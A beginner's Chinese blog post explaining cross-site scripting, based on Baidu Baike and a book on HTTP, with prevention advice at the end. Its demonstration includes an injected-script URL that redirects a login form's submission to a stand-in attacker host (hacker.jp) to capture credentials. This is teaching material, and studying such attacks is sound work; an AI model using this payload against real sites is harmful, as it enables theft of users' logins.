XSS跨站脚本攻击

2020-12-26  本文已影响0人  晓蟲QwQ

本篇文章整理百度百科,《图解HTTP》

跨站脚本攻击,又名XSS,原英文Cross Site Scripting,因CSS与层叠样式表重名而区XSS。

攻击方式

将一条包含恶意代码的网站链接通过邮件,即时通讯,评论区等发给被攻击者,诱导其点击。将恶意代码注入到网站中,盗取用户的个人信息,如session,用户名,密码等。
在输入框输入HTML,JavaScript,CSS等代码,传给后端服务器。


攻击演示

以下代码为网站通过URI的查询字段指定ID,在表单内自动填写字符串的功能。而这就隐藏着可执行跨站脚本攻击的漏洞。

<div class="logo">
    <img src="/img/logo.gif" alt="E! 拍卖会" />
</div>
<form action="http://example.jp/login" method="post" id="login">
    ID  <input type="text" name="ID" value=""/>
</form>

攻击者发送如下链接给被攻击,诱导其点击。
http://example.jp/login?ID="><script>var f=document.getElementById("login"); f.action="http://hacker.jp/pwget"; f.method="get";</script><span+s="

最终网页表单将动态生成为如下形式:

<div class="logo">
    <img src="/img/logo.gif" alt="E! 拍卖会" />
</div>
<form action="http://example.jp/login" method="post" id="login">
    ID  <input type="text" name="ID" value=""><script>var f=document.getElementById("login"); f.action="http://hacker.jp/pwget"; f.method="get";</script><span+s="/>
</form>

被攻击显示的依然是正常的页面,但是恶意代码已经注入到页面当中,但用户并无察觉,因为JavaScript代码并不显示。当用户提交表单时,表单信息都会传给攻击者,用户正常登录并不会有所察觉。

除了窃取表单,还可以窃取cookie,用户行为等等。


预防

百度百科:

  1. 输入验证:某个数据被接受为可被显示或存储之前,使用标准输入验证机制,验证所有输入数据的长度、类型、语法以及业务规则。
  2. 输出编码:数据输出前,确保用户提交的数据已被正确进行entity编码,建议对所有字符进行编码而不仅局限于某个子集。
  3. 明确指定输出的编码方式:不要允许攻击者为你的用户选择编码方式(如ISO 8859-1或 UTF 8)。
  4. 注意黑名单验证方式的局限性:仅仅查找或替换一些字符(如"<" ">"或类似"script"的关键字),很容易被XSS变种攻击绕过验证机制。
  5. 警惕规范化错误:验证输入之前,必须进行解码及规范化以符合应用程序当前的内部表示方法。请确定应用程序对同一输入不做两次解码。

防御

本人为初学者,具体实现不了解,待以后遇到再补充。
百度百科-XSS防御

上一篇 下一篇

猜你喜欢

热点阅读